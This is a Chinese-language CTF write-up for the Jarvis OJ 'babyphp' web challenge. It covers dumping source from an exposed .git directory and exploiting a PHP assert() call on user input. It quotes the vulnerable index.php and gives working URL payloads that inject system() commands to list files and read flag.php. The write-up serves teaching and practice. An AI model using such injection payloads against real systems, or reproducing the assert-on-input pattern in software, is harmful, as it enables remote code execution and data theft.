babyphp

Created at 2017-12-30 Updated at 2017-12-31 Tag web

< !–more–>
1、查看源码:

可以发现一共有三个page:home,about,contact
还有一个可能存在的page:flag.php
2、http://web.jarvisoj.com:32798/?page=flag.php
显示:That file doesn’t exist!
3、查看about里面有:PHP,GIT,Bootstrap
可能有源码泄露,联系到about中有Git,使用GitHack下载源码
4、使用GitHash下载源码方法:
cmd,并切换到已经下载GitHash-master的py文件目录下
python GitHash.py url.git
python GitHash.py http://web.jarvisoj.com:32798/.git

显示有index.php,about.php,contact.php,flag.php,home.php
在GitHash-master的目录下可以找到一个web.jarvisoj.com_32798的文件夹
里面有templates和index.php文件
*Templates文件夹:该文件夹中存储着常用程序的模板文件,如winword.doc、powerpnt.ppt、excel.xls等。
模板就是包含有段落结构、字体样式和页面布局等元素的样式。
它决定了文档的基本结构和设置的样式。
5、查看了flag.php:
<?php
// TODO
//$FLAG = ‘’;
?>
6、最后查看index.php:
<?php
if (isset($_GET[‘page’])){

$page = $_GET[‘page’];
}
else {
$page = “home”;
}
$file = “templates/“ . $page . “.php”;
assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);
assert(“file_exists(‘$file’)”) or die(“That file doesn’t exist!”);
?>
/PHP assert()
assert — 检查一个断言是否为 FALSE
PHP 5
bool assert ( mixed $assertion [, string $description ] )
PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。
这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;
在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
断言这个功能应该只被用来调试。
你应该用于完整性检查时测试条件是否始终应该为 TRUE,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。
断言不应该用于普通运行时操作,类似输入参数的检查。
作为一个经验法则,在断言禁用时你的代码也应该能够正确地运行。
assert() 的行为可以通过 assert_options() 来配置,或者手册页面上描述的 .ini 设置。
assert_options() ASSERT_CALLBACK 配置指令允许设置回调函数来处理失败的断言。
assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!
/
其实真看不懂什么意思 ψ(._.)> 谁来教我
php中assert本来是用于调试的,如果assert方法内的代码不为true,则给个Warning提醒。
如下面的代码:
<?php assert(‘1==2’); ?>
执行后会有如下输出: Warning: assert(): Assertion “1==2” failed in D:\green\APMServ5.2.6\www\htdocs\phpinfo.php on line 2 有个assert_option方法可以对assert进行一些控制。
7、构造assert()函数会运行接收的语句

<1>http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;”).’
显示:about.phpcontact.phpflag.phphome.phpabout.phpcontact.phpflag.phphome.phpThat file doesn’t exist!

<2>http://web.jarvisoj.com:32798/?page=','..')===False and system(‘cat templates/flag.php’);//
显示:
<?php
// TODO
//$FLAG = ‘61dctf{8e_careful_when_us1ng_ass4rt}’;
?>
That file doesn’t exist!
‘,’..’)===False根据assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”)
‘,’..’)===False为真
system(‘cat templates/flag.php’)
显示flag.php的内容
*system()函数
system — 执行外部程序,并且显示输出
string system ( string $command [, int &$return_var ] )
参数
command
要执行的命令。
return_var
如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
返回值
成功则返回命令输出的最后一行, 失败则返回 FALSE
FLAG = ‘61dctf{8e_careful_when_us1ng_ass4rt}

Table of Content

Site by 9527 using Hexo & Random

Hide